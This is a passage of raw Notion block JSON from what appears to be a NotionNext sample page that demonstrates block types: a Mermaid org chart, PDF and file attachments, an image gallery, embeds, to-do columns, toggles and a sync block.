"last_edited_time":1705638991038,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"8d7fc19c-da47-4cad-a2c5-a6257de3e1c9"}},"d1de48bb-00c6-40ac-81df-d6fb0b784f36":{"value":{"id":"d1de48bb-00c6-40ac-81df-d6fb0b784f36","type":"sub_header","properties":{"title":[["3. 图表"]]},"format":{"copied_from_pointer":{"id":"32a7b6a9-e1ba-44a5-982f-a055f5b01366","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991031,"last_edited_time":1705638991031,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"32a7b6a9-e1ba-44a5-982f-a055f5b01366"}},"62a16f54-8d5e-41cc-a7a4-70f28d18bb2a":{"value":{"id":"62a16f54-8d5e-41cc-a7a4-70f28d18bb2a","type":"code","properties":{"title":[["graph LR;\n公司架构-->商务\n公司架构-->研发\n公司架构-->设计\n公司架构-->运营\n公司架构-->产品"]],"caption":[["思维导图"]],"language":[["Mermaid"]]},"format":{"code_wrap":true,"copied_from_pointer":{"id":"f52fc1fa-7e9e-48dc-b48f-6b7d70e26535","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991043,"last_edited_time":1705638991043,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f52fc1fa-7e9e-48dc-b48f-6b7d70e26535"}},"b87bd083-9175-48c6-adee-7a6e4e38b8cd":{"value":{"id":"b87bd083-9175-48c6-adee-7a6e4e38b8cd","type":"sub_header","properties":{"title":[["4. PDF嵌入"]]},"format":{"copied_from_pointer":{"id":"75cd9f28-82de-41f7-a5f2-af4e0055aaf1","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991036,"last_edited_time":1705638991036,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"75cd9f28-82de-41f7-a5f2-af4e0055aaf1"}},"51b6910d-e9cd-4a81-aae0-766883f9d904":{"value":{"id":"51b6910d-e9cd-4a81-aae0-766883f9d904","type":"pdf","properties":{"size":[["871.3KB"]],"title":[["tailwindcss.pdf"]],"source":[["https://notion.so/signed/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Ffbdf623f-21ce-48a2-b8b6-152680ad6dfe%2Ftailwindcss.pdf?table=block&id=51b6910d-e9cd-4a81-aae0-766883f9d904"]]},"format":{"block_width":708,"block_height":320,"block_full_width":false,"block_page_width":false,"copied_from_pointer":{"id":"7ded6839-18db-4e45-842d-c6422ad2513c","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"block_preserve_scale":false},"created_time":1705638991037,"last_edited_time":1705638991037,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"7ded6839-18db-4e45-842d-c6422ad2513c","file_ids":["fbdf623f-21ce-48a2-b8b6-152680ad6dfe"]}},"b407262e-e839-4266-8acc-6e5829f928c9":{"value":{"id":"b407262e-e839-4266-8acc-6e5829f928c9","type":"sub_header","properties":{"title":[["5.下载附件"]]},"format":{"copied_from_pointer":{"id":"e0cc9e30-809d-4960-bdb2-efb857c24ec6","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991042,"last_edited_time":1705638991042,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"e0cc9e30-809d-4960-bdb2-efb857c24ec6"}},"e289a4a8-54f9-47df-b1f1-5a5f778c93ab":{"value":{"id":"e289a4a8-54f9-47df-b1f1-5a5f778c93ab","type":"file","properties":{"size":[["469.5KB"]],"title":[["下载PDF附件.pdf"]],"source":[["https://notion.so/signed/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Ffab11580-96c3-4230-90f6-05257f00fb0a%2F%25E6%25B5%258B%25E8%25AF%2595%25E5%25B5%258C%25E5%2585%25A5PDF.pdf?table=block&id=e289a4a8-54f9-47df-b1f1-5a5f778c93ab"]]},"format":{"copied_from_pointer":{"id":"39802971-3009-4c34-a5ee-34c301fb022f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991032,"last_edited_time":1705638991032,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"39802971-3009-4c34-a5ee-34c301fb022f","file_ids":["fab11580-96c3-4230-90f6-05257f00fb0a"]}},"b30997a8-63eb-4339-bfa3-5b06ef9bd842":{"value":{"id":"b30997a8-63eb-4339-bfa3-5b06ef9bd842","type":"file","properties":{"size":[["469.5KB"]],"title":[["下载PDF附件-2.pdf"]],"source":[["https://notion.so/signed/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F69f6fdf6-9aab-485a-a73d-d5c0d3f324db%2F%25E4%25B8%258B%25E8%25BD%25BDPDF%25E9%2599%2584%25E4%25BB%25B6-2.pdf?table=block&id=b30997a8-63eb-4339-bfa3-5b06ef9bd842"]]},"format":{"copied_from_pointer":{"id":"2ee611e4-e7d6-4b8f-839b-6219abc40ce6","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991031,"last_edited_time":1705638991031,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"2ee611e4-e7d6-4b8f-839b-6219abc40ce6","file_ids":["69f6fdf6-9aab-485a-a73d-d5c0d3f324db"]}},"9c9075da-d8aa-4347-9bbb-b41a1c7fcc78":{"value":{"id":"9c9075da-d8aa-4347-9bbb-b41a1c7fcc78","type":"sub_header","properties":{"title":[["6. 照片集"]]},"format":{"copied_from_pointer":{"id":"46e00789-6d6a-4635-aac3-433bba79a5df","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991034,"last_edited_time":1705638991034,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"46e00789-6d6a-4635-aac3-433bba79a5df"}},"e57ed9a8-9c51-4b46-aa09-400d5154a42f":{"value":{"id":"e57ed9a8-9c51-4b46-aa09-400d5154a42f","type":"image","properties":{"size":[["825.6KB"]],"title":[["WX20201027-101530@2x.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c876828e-2768-4863-b6d3-ad97b32223d3/WX20201027-1015302x.png"]]},"format":{"block_width":624,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c876828e-2768-4863-b6d3-ad97b32223d3/WX20201027-1015302x.png","block_full_width":false,"block_page_width":false,"block_aspect_ratio":1.020979020979021,"copied_from_pointer":{"id":"bdc4308c-7035-406b-a406-26c01d283858","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"block_preserve_scale":true},"created_time":1705638991041,"last_edited_time":1705638991041,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"bdc4308c-7035-406b-a406-26c01d283858","file_ids":["c876828e-2768-4863-b6d3-ad97b32223d3"]}},"43181d65-d467-4bd5-a8cb-6942161eabd5":{"value":{"id":"43181d65-d467-4bd5-a8cb-6942161eabd5","type":"collection_view","view_ids":["6e8ea48d-0b5f-4f4c-af27-b043ce10ea6a"],"collection_id":"7b11173d-8924-4a09-8897-50956378c0fc","format":{"collection_pointer":{"id":"7b11173d-8924-4a09-8897-50956378c0fc","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"c7e030aa-217d-4855-a447-68f530b7a6f6","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991041,"last_edited_time":1705638991041,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"c7e030aa-217d-4855-a447-68f530b7a6f6"}},"eb3a98c3-8978-40b5-9166-5cef30088d2a":{"value":{"id":"eb3a98c3-8978-40b5-9166-5cef30088d2a","type":"sub_header","properties":{"title":[["7. 内嵌网页"]]},"format":{"copied_from_pointer":{"id":"488fe62e-a776-4240-85e9-5fba92d18513","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991034,"last_edited_time":1705638991034,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"488fe62e-a776-4240-85e9-5fba92d18513"}},"5fef12d0-8a28-437c-8514-47243e565b19":{"value":{"id":"5fef12d0-8a28-437c-8514-47243e565b19","type":"embed","properties":{"source":[["https://docs.tangly1024.com/zh"]],"description":[["一个使用 NextJS + Notion API 实现的,部署在 Vercel 上的静态博客系统。为Notion和所有创作者设计。 - GitHub - tangly1024/NotionNext: 一个使用 NextJS + Notion API 实现的,部署在 Vercel 上的静态博客系统。为Notion和所有创作者设计。"]]},"format":{"block_width":720,"block_height":486.99713134765625,"bookmark_icon":"https://github.com/favicon.ico","bookmark_cover":"https://opengraph.githubassets.com/7bc91fe7946837cac17c0a6b378f1a80cf14e6eae1e2f0c1dc0f6384826c66ad/tangly1024/NotionNext","display_source":"https://docs.tangly1024.com/zh","block_full_width":false,"block_page_width":true,"copied_from_pointer":{"id":"0262365a-23ff-471e-9d94-bd7bfa6bb9fe","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"block_preserve_scale":false},"created_time":1705638991029,"last_edited_time":1705638991029,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"0262365a-23ff-471e-9d94-bd7bfa6bb9fe"}},"182a922c-a77e-4465-a7bf-b6cd9bb8aa95":{"value":{"id":"182a922c-a77e-4465-a7bf-b6cd9bb8aa95","type":"text","properties":{"title":[["https://www.bilibili.com/video/BV1Qs411d7pd/?spm_id_from=333.337.search-card.all.click&vd_source=39f78b1b8c48640556d1685e5f99a413",[["a","https://www.bilibili.com/video/BV1Qs411d7pd/?spm_id_from=333.337.search-card.all.click&vd_source=39f78b1b8c48640556d1685e5f99a413"]]]]},"format":{"copied_from_pointer":{"id":"5e0d4e6a-2710-4814-bb7b-fdd1c0146ef5","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991035,"last_edited_time":1705638991035,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"5e0d4e6a-2710-4814-bb7b-fdd1c0146ef5"}},"af988ade-cbe2-4091-b037-e8a39b7ef3fc":{"value":{"id":"af988ade-cbe2-4091-b037-e8a39b7ef3fc","type":"sub_header","properties":{"title":[["5.代办"]]},"format":{"copied_from_pointer":{"id":"1fb0e452-7d3d-422a-a757-3959676eb0ba","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991031,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991031,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"1fb0e452-7d3d-422a-a757-3959676eb0ba"}},"3206c63c-38c9-42a5-9829-1f8a39e6e0eb":{"value":{"id":"3206c63c-38c9-42a5-9829-1f8a39e6e0eb","type":"column_list","content":["1854a9a5-32ae-4877-ab49-d57de0d5354f","5ac99d26-69f6-476c-9824-238bf50d62a7"],"format":{"copied_from_pointer":{"id":"a1a14331-820d-4681-ae01-2c0bc8b48f65","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991039,"last_edited_time":1705638991039,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"a1a14331-820d-4681-ae01-2c0bc8b48f65"}},"1854a9a5-32ae-4877-ab49-d57de0d5354f":{"value":{"id":"1854a9a5-32ae-4877-ab49-d57de0d5354f","type":"column","content":["245c6b1d-d615-4cce-ad98-1e9e9a3d331b","3a656978-d031-4237-bd2f-3e13591e4d3c","9f0dc72c-1ec1-4c87-a878-b1f7ebeb92da"],"format":{"column_ratio":0.5,"copied_from_pointer":{"id":"d3738c0d-47d6-443e-8bfe-38f2ec3dfddd","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"3206c63c-38c9-42a5-9829-1f8a39e6e0eb","parent_table":"block","alive":true,"copied_from":"d3738c0d-47d6-443e-8bfe-38f2ec3dfddd"}},"5ac99d26-69f6-476c-9824-238bf50d62a7":{"value":{"id":"5ac99d26-69f6-476c-9824-238bf50d62a7","type":"column","content":["3ba35f4a-aa14-47ea-b6d7-69a9ac005410","1b93f241-5182-4114-9004-5d24d8327db2","53f53d16-5518-4b72-a684-a286d2c14394"],"format":{"column_ratio":0.5,"copied_from_pointer":{"id":"12ac700a-7512-4b69-bf45-d295519e9d71","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"3206c63c-38c9-42a5-9829-1f8a39e6e0eb","parent_table":"block","alive":true,"copied_from":"12ac700a-7512-4b69-bf45-d295519e9d71"}},"245c6b1d-d615-4cce-ad98-1e9e9a3d331b":{"value":{"id":"245c6b1d-d615-4cce-ad98-1e9e9a3d331b","type":"text","properties":{"title":[["家庭"]]},"format":{"block_color":"teal_background","copied_from_pointer":{"id":"126f0aa9-ab3b-4f6e-adf3-4a8c3805a774","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"1854a9a5-32ae-4877-ab49-d57de0d5354f","parent_table":"block","alive":true,"copied_from":"126f0aa9-ab3b-4f6e-adf3-4a8c3805a774"}},"3ba35f4a-aa14-47ea-b6d7-69a9ac005410":{"value":{"id":"3ba35f4a-aa14-47ea-b6d7-69a9ac005410","type":"text","properties":{"title":[["事业"]]},"format":{"block_color":"blue_background","copied_from_pointer":{"id":"1161379f-cc6a-4dfd-a912-5b26b17c3ed3","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"5ac99d26-69f6-476c-9824-238bf50d62a7","parent_table":"block","alive":true,"copied_from":"1161379f-cc6a-4dfd-a912-5b26b17c3ed3"}},"3a656978-d031-4237-bd2f-3e13591e4d3c":{"value":{"id":"3a656978-d031-4237-bd2f-3e13591e4d3c","type":"to_do","properties":{"title":[["洗衣"]]},"format":{"copied_from_pointer":{"id":"87a09476-499e-46ea-a2bc-7283fb7b3d1b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"1854a9a5-32ae-4877-ab49-d57de0d5354f","parent_table":"block","alive":true,"copied_from":"87a09476-499e-46ea-a2bc-7283fb7b3d1b"}},"1b93f241-5182-4114-9004-5d24d8327db2":{"value":{"id":"1b93f241-5182-4114-9004-5d24d8327db2","type":"to_do","properties":{"title":[["开会"]]},"format":{"copied_from_pointer":{"id":"df478f02-d6b2-4433-8ab2-88e1c1c064b9","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"5ac99d26-69f6-476c-9824-238bf50d62a7","parent_table":"block","alive":true,"copied_from":"df478f02-d6b2-4433-8ab2-88e1c1c064b9"}},"9f0dc72c-1ec1-4c87-a878-b1f7ebeb92da":{"value":{"id":"9f0dc72c-1ec1-4c87-a878-b1f7ebeb92da","type":"to_do","properties":{"title":[["做饭"]]},"format":{"copied_from_pointer":{"id":"6184f41c-24af-490e-8be2-aa71ad46263c","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"1854a9a5-32ae-4877-ab49-d57de0d5354f","parent_table":"block","alive":true,"copied_from":"6184f41c-24af-490e-8be2-aa71ad46263c"}},"53f53d16-5518-4b72-a684-a286d2c14394":{"value":{"id":"53f53d16-5518-4b72-a684-a286d2c14394","type":"to_do","properties":{"title":[["加班"]]},"format":{"copied_from_pointer":{"id":"cb126b10-5f42-4f30-9755-7b03ee8f0654","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"5ac99d26-69f6-476c-9824-238bf50d62a7","parent_table":"block","alive":true,"copied_from":"cb126b10-5f42-4f30-9755-7b03ee8f0654"}},"c311a2ed-ff9b-41ef-8259-c5d55e7076f6":{"value":{"id":"c311a2ed-ff9b-41ef-8259-c5d55e7076f6","type":"sub_header","properties":{"title":[["6.折叠列表"]]},"format":{"copied_from_pointer":{"id":"ec497fa9-6df4-4927-be6f-0b2fdf07572e","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991043,"last_edited_time":1705638991043,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"ec497fa9-6df4-4927-be6f-0b2fdf07572e"}},"4748bbad-6dc8-4e84-ab43-96c076df3dd2":{"value":{"id":"4748bbad-6dc8-4e84-ab43-96c076df3dd2","type":"toggle","properties":{"title":[["点击展开"]]},"content":["02efa7b3-d1ce-40f7-9a23-f687b0046e4d"],"format":{"copied_from_pointer":{"id":"f8faebbf-cc58-408b-aab9-bd605072a188","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991044,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991044,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f8faebbf-cc58-408b-aab9-bd605072a188"}},"b8800b2b-162c-42fa-9302-c258941e9dbf":{"value":{"id":"b8800b2b-162c-42fa-9302-c258941e9dbf","type":"divider","format":{"copied_from_pointer":{"id":"f91777d0-572c-4f2c-9832-b0b44e1f18c6","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991044,"last_edited_time":1705638991044,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f91777d0-572c-4f2c-9832-b0b44e1f18c6"}},"3f939f7e-4387-4bf1-9fb0-d1b17a08ec88":{"value":{"id":"3f939f7e-4387-4bf1-9fb0-d1b17a08ec88","type":"text","format":{"copied_from_pointer":{"id":"4c93f841-35ad-4698-9db7-607a81818ec5","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991034,"last_edited_time":1705638991034,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"4c93f841-35ad-4698-9db7-607a81818ec5"}},"180fd5e9-cf79-432d-8d92-894d783e5e00":{"value":{"id":"180fd5e9-cf79-432d-8d92-894d783e5e00","type":"sub_header","properties":{"title":[["8. 同步块 "]]},"format":{"copied_from_pointer":{"id":"08b38d6c-fdfb-4d3a-ad63-65266a9a4bdc","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991029,"last_edited_time":1705638991029,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"08b38d6c-fdfb-4d3a-ad63-65266a9a4bdc"}},"ecc94ae7-f9d8-4d24-bb4d-cf3cd8363c26":{"value":{"id":"ecc94ae7-f9d8-4d24-bb4d-cf3cd8363c26","type":"text","properties":{"title":[["Notion支持将不同页面的块进行同步,即 SyncBlock,以下是来自另一个页面的块:"]]},"format":{"copied_from_pointer":{"id":"f8d88781-8c5b-42e5-bd0b-ffe89cc9037e","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991044,"last_edited_time":1705638991044,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f8d88781-8c5b-42e5-bd0b-ffe89cc9037e"}},"3fba972c-29f1-458a-a947-7d8aa18f79e6":{"value":{"id":"3fba972c-29f1-458a-a947-7d8aa18f79e6","type":"transclusion_reference","format":{"copied_from_pointer":{"id":"3ec36561-9537-4719-8f9c-34f7ddf381f5","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"transclusion_reference_pointer":{"id":"77239aff-d7f9-46c1-a865-bf5f8c778674","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991033,"last_edited_time":1705638991033,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"3ec36561-9537-4719-8f9c-34f7ddf381f5"}},"77239aff-d7f9-46c1-a865-bf5f8c778674":{"value":{"id":"77239aff-d7f9-46c1-a865-bf5f8c778674","type":"transclusion_container","content":["1011ab97-eb40-4c4e-ad98-1e7459e67c8e"],"created_time":1666242600000,"last_edited_time":1666242600000,"parent_id":"da988857-3ba9-4a63-9731-e849beb46705","parent_table":"block","alive":true}},"da988857-3ba9-4a63-9731-e849beb46705":{"value":{"id":"da988857-3ba9-4a63-9731-e849beb46705","type":"page","properties":{"NX\\Q":[["‣",[["d",{"type":"date","start_date":"2021-11-05"}]]]],"`gQ~":[["Post"]],"bB{M":[[""]],"d]hq":[["invisible"]],"sD^m":[["健康"]],"wz|S":[["状态不是"],["Published",[["c"]]],[",故不会被显示"]],"title":[["未发布文章"]],"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":[["Invisible"]]},"content":["77239aff-d7f9-46c1-a865-bf5f8c778674","6697ac70-8b8b-44f0-997d-c82167c5df60"],"format":{"page_font":"serif","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"a6271da0-6b8f-47a3-9735-e8fa770f1d9f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0.5},"created_time":1666241740033,"last_edited_time":1711083217619,"parent_id":"4379bc14-5d22-453b-a153-12639616fc01","parent_table":"collection","alive":true,"copied_from":"a6271da0-6b8f-47a3-9735-e8fa770f1d9f"}},"02ab3b86-7800-4aa6-9e9e-415905ef32a5":{"value":{"id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","type":"collection_view_page","content":["254eced8-9cba-4f90-9990-a885bd567dd0"],"view_ids":["b7eb2157-2022-4ca5-827b-faa5ef82cf2d","5010afdb-92b5-4f49-958b-0b8c900d6190","a80c22ef-8b56-410d-af06-07615c5f2654","e17348d8-5a80-4f02-813c-025b790d16c8"],"collection_id":"4379bc14-5d22-453b-a153-12639616fc01","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"4379bc14-5d22-453b-a153-12639616fc01","table":"collection","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"copied_from_pointer":{"id":"bee1fccf-a3bd-47a1-a7be-83cc71372d83","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"27074aef-7216-41ed-baef-d9b53addd870"},{"role":"reader","type":"public_permission","added_timestamp":1681797627522}],"created_time":1636081968996,"last_edited_time":1711250944168,"parent_id":"cbcf52f3-6400-43ff-8a25-eb7ccd5eb694","parent_table":"block","alive":true,"copied_from":"bee1fccf-a3bd-47a1-a7be-83cc71372d83","file_ids":["abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","29db38d2-d5fa-4fa6-8a92-3b527cfe80d1"]}},"1011ab97-eb40-4c4e-ad98-1e7459e67c8e":{"value":{"id":"1011ab97-eb40-4c4e-ad98-1e7459e67c8e","type":"text","properties":{"title":[["【sync-block】这是一段来自示例文章-3的段落 ,通过 SyncBlock同步。"]]},"created_time":1666242540000,"last_edited_time":1666242660000,"parent_id":"77239aff-d7f9-46c1-a865-bf5f8c778674","parent_table":"block","alive":true}},"7050f906-9255-4e76-840e-000da98df97d":{"value":{"id":"7050f906-9255-4e76-840e-000da98df97d","type":"callout","properties":{"title":[["注意",[["h","red_background"]]],[" : 同步块的使用条件是源页面也要被"],["开放共享",[["b"]]],[" ,否则NotionNext将无权访问,页面上会被忽略渲染。"]]},"content":["50755cdd-c61c-4731-a86e-c393efeb6d3e"],"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"85c3d346-dbda-4f2b-b17e-67c7223e80b9","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991038,"last_edited_time":1705638991038,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"85c3d346-dbda-4f2b-b17e-67c7223e80b9"}},"50755cdd-c61c-4731-a86e-c393efeb6d3e":{"value":{"id":"50755cdd-c61c-4731-a86e-c393efeb6d3e","type":"image","properties":{"size":[["33.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e078a58d-d9a8-48ac-8489-34d9d71b03c8/Untitled.png"]]},"format":{"block_width":528,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e078a58d-d9a8-48ac-8489-34d9d71b03c8/Untitled.png","block_full_width":false,"block_page_width":false,"block_aspect_ratio":0.13596491228070176,"copied_from_pointer":{"id":"23f23ef1-d518-44aa-9439-4a06d7774a8c","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"block_preserve_scale":true},"created_time":1705638991051,"last_edited_time":1705638991051,"parent_id":"7050f906-9255-4e76-840e-000da98df97d","parent_table":"block","alive":true,"copied_from":"23f23ef1-d518-44aa-9439-4a06d7774a8c","file_ids":["e078a58d-d9a8-48ac-8489-34d9d71b03c8"]}},"eb25cdb8-697c-4b55-a556-e416f9ecdbfb":{"value":{"id":"eb25cdb8-697c-4b55-a556-e416f9ecdbfb","type":"text","format":{"copied_from_pointer":{"id":"0f6131b5-59f8-4b3d-811d-cb5cb7330590","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991029,"last_edited_time":1705638991029,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"0f6131b5-59f8-4b3d-811d-cb5cb7330590"}},"b4f0f638-f797-4040-9600-f5576c4520be":{"value":{"id":"b4f0f638-f797-4040-9600-f5576c4520be","type":"header","properties":{"title":[["多级目录"]]},"format":{"copied_from_pointer":{"id":"59d21e39-f7b2-419c-bf18-dee5bc2d01ea","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991035,"last_edited_time":1705638991035,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"59d21e39-f7b2-419c-bf18-dee5bc2d01ea"}},"4038cfa4-b79f-4562-b5d8-9ed98addba56":{"value":{"id":"4038cfa4-b79f-4562-b5d8-9ed98addba56","type":"text","properties":{"title":[["heading标题在博客中自动转为目录"]]},"format":{"copied_from_pointer":{"id":"9047c555-5912-403a-8de0-2ec80ccc25a2","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991039,"last_edited_time":1705638991039,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"9047c555-5912-403a-8de0-2ec80ccc25a2"}},"c32fcf2f-d00c-4555-b1f9-1e0cecdf2956":{"value":{"id":"c32fcf2f-d00c-4555-b1f9-1e0cecdf2956","type":"column_list","content":["f8396978-e681-4406-9a4e-d42c568575be","10a71b93-15b6-4dc7-9f1e-3bd3f20cd257"],"format":{"copied_from_pointer":{"id":"9a38137c-8b87-4a32-94ae-4fa556f0470a","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991039,"last_edited_time":1705638991039,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"9a38137c-8b87-4a32-94ae-4fa556f0470a"}},"f8396978-e681-4406-9a4e-d42c568575be":{"value":{"id":"f8396978-e681-4406-9a4e-d42c568575be","type":"column","content":["d9b63a2a-2e86-4326-98e0-d429b1f7ae7e","c011c17a-60a6-42d8-acb3-af36dfdadb20"],"format":{"column_ratio":0.5,"copied_from_pointer":{"id":"4bc8f508-ab28-4db4-9aa8-d8a0d9c203c4","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"c32fcf2f-d00c-4555-b1f9-1e0cecdf2956","parent_table":"block","alive":true,"copied_from":"4bc8f508-ab28-4db4-9aa8-d8a0d9c203c4"}},"10a71b93-15b6-4dc7-9f1e-3bd3f20cd257":{"value":{"id":"10a71b93-15b6-4dc7-9f1e-3bd3f20cd257","type":"column","content":["22f6632d-d065-4f58-980a-4